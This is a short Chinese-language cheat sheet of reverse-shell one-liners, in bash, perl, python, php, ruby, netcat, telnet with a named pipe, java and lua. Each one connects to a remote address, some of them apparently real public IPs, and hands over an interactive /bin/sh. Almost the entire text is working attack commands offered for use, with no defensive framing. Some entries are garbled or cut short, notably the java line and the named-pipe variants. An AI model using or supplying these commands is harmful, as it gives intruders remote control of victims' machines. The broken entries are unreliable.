反弹的各种姿势。
bash版本:
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
注意这个是由解析shell的bash完成,所以某些情况下不支持
perl版本:
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python版本:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php版本:
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby版本:
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc版本:
1 | nc -e /bin/sh 223.8.200.234 1234 |
nc不使用-e:
1 | mknod /tmp/backpipe p |
mknod:
1 | mknod backpipe p && telnet 173.214.173.151 8080 0backpipe |
java版本:
1 | r = Runtime.getRuntime() |
lua版本:
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |